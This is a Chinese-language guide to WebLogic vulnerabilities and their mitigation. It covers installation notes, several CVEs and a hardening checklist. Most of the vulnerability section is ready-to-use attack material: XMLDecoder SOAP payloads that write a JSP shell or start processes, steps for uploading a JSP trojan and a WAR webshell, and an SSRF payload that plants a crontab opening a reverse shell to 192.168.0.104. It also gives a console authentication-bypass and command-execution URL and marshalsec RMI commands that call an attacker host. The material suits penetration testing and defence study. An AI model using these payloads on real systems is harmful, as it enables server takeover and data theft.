weblogic中间件漏洞总结
字数 2527 2025-08-09 18:44:09
WebLogic中间件漏洞全面分析与防护指南
一、WebLogic简介
WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件服务器,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。主要特点包括:
- 支持多种标准:EJB、JSP、Servlet、JMS、JDBC、XML和WML
- 高扩展架构体系:客户机连接共享、资源pooling、动态网页和EJB组件群集
- 默认端口:7001
- 活跃版本:10.3.6.0、12.1.3.0、12.2.1.1-1.3
二、WebLogic安装与配置
1. 环境准备
- 下载地址:Oracle官网
- 版本要求:
- WebLogic 10.3.6:支持JDK 1.6/1.7
- WebLogic 12+:需要JDK 1.8+
2. 安装流程
- 双击安装程序启动
- 选择安装目录(默认即可)
- 设置管理员账户(如weblogic/zcc12345)
- 选择开发模式(自动部署)或生产模式(关闭自动部署)
- 完成安装并创建域
3. 启动与访问
- 启动脚本:
startWebLogic.cmd(需输入管理员凭据) - 控制台URL:
http://[IP]:7001/console/
三、WebLogic漏洞详解
1. XMLDecoder反序列化漏洞 (CVE-2017-10271)
漏洞原理:
- WLS Security组件使用XMLDecoder解析用户传入的XML数据时存在反序列化漏洞
影响版本:
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
检测方法:
- 访问
/wls-wsat/CoordinatorPortType(POST) - 查看
web.xml确认受影响URL:/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType
利用POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void>
<void method="close"/>
</object>
</java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
防护措施:
- 安装Oracle官方补丁:CPU Oct 2017
2. XMLDecoder反序列化漏洞 (CVE-2017-3506)
与CVE-2017-10271关系:
- CVE-2017-10271是CVE-2017-3506的绕过
- 补丁验证函数检查object标签
影响版本:
- 10.3.6.0
- 12.1.3.0
- 12.2.1.0-1.2
3. wls-wsat反序列化漏洞 (CVE-2019-2725)
漏洞特点:
- CVE-2017-10271的又一入口
- 补丁限制:过滤class标签,限制array标签中byte长度
影响组件:
- bea_wls9_async_response.war
- wsat.war
检测URL:
/_async/AsyncResponseService(返回200存在漏洞)
利用方法:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>calc</string></void>
</array>
<void method="start"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
</soapenv:Envelope>
4. T3协议反序列化漏洞 (CVE-2018-2628)
漏洞原理:
- 通过T3协议在Weblogic Server中执行反序列化操作
- 利用RMI机制的缺陷,通过JRMP协议执行任意payload
相关漏洞:
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2893
检测工具:
- Python检测脚本:CVE-2018-2628
- 图形化工具:k8weblogicGUI.exe
防护措施:
- 配置连接过滤器:
- 路径:安全 → 筛选器
- 筛选器类:
weblogic.security.net.ConnectionFilterImpl
- 规则示例:
127.0.0.1 * * allow * * 7001 allow * * * deny
5. 未授权访问漏洞 (CVE-2018-2894)
漏洞特点:
- Web Service Test Page存在未授权文件上传
- 开发模式默认存在,生产模式需手动开启
影响版本:
- 10.3.6
- 12.1.3
- 12.2.1.2-1.3
利用方法:
- 访问测试页:
/ws_utc/config.do/ws_utc/begin.do
- 设置Work Home Dir为css目录
- 上传JSP木马
- 访问路径:
/ws_utc/css/config/keystore/[时间戳]_[文件名]
6. SSRF漏洞 (CVE-2014-4210)
漏洞原理:
- 通过
SearchPublicReqistries.jsp探测内网服务
检测URL:
/uddiexplorer/SearchPublicRegistries.jsp
利用场景:
- 端口扫描:
- 开放端口返回:
could not connect over HTTP - 未开放端口返回:
404 error code
- 开放端口返回:
- 攻击Redis:
operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
7. 弱口令与后台Getshell
利用流程:
- 通过弱口令登录控制台
- 部署 → 安装 → 上传WAR包
- 访问部署路径执行webshell
防护建议:
- 使用强密码策略
- 定期更换管理员密码
8. Console HTTP协议RCE (CVE-2020-14882/14883)
漏洞组合:
- CVE-2020-14883:权限绕过
- CVE-2020-14882:代码执行
影响版本:
- 10.3.6.0
- 12.1.3.0
- 12.2.1.3-1.4
- 14.1.1.0
利用POC:
- 权限绕过:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29 - 代码执行:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
9. IIOP反序列化漏洞 (CVE-2020-2551)
漏洞原理:
- IIOP协议反序列化导致RCE
利用条件:
- 需要Java 8环境
利用步骤:
- 编译恶意类:
public class exp { static{ try { Runtime.getRuntime().exec("calc"); } catch(Exception e) {} } } - 启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker/#exp" 12345 - 执行攻击:
java -jar weblogic_CVE_2020_2551.jar [target] 7001 rmi://[attacker]:12345/exp
四、综合防护方案
-
补丁管理:
- 定期关注Oracle关键补丁更新(CPU)
- 及时安装安全补丁
-
配置加固:
- 关闭不必要的协议(如T3、IIOP)
- 启用生产模式
- 配置连接过滤器
-
访问控制:
- 使用强密码策略
- 限制管理控制台访问IP
- 禁用测试页面
-
监控与审计:
- 监控异常流量(如大量T3请求)
- 定期审计日志
-
架构安全:
- WebLogic服务器置于DMZ区
- 实施网络分段,限制横向移动
五、参考资源
-
官方补丁:
-
检测工具:
-
漏洞验证环境:
- Vulhub Docker镜像
- WebLogic官方安装包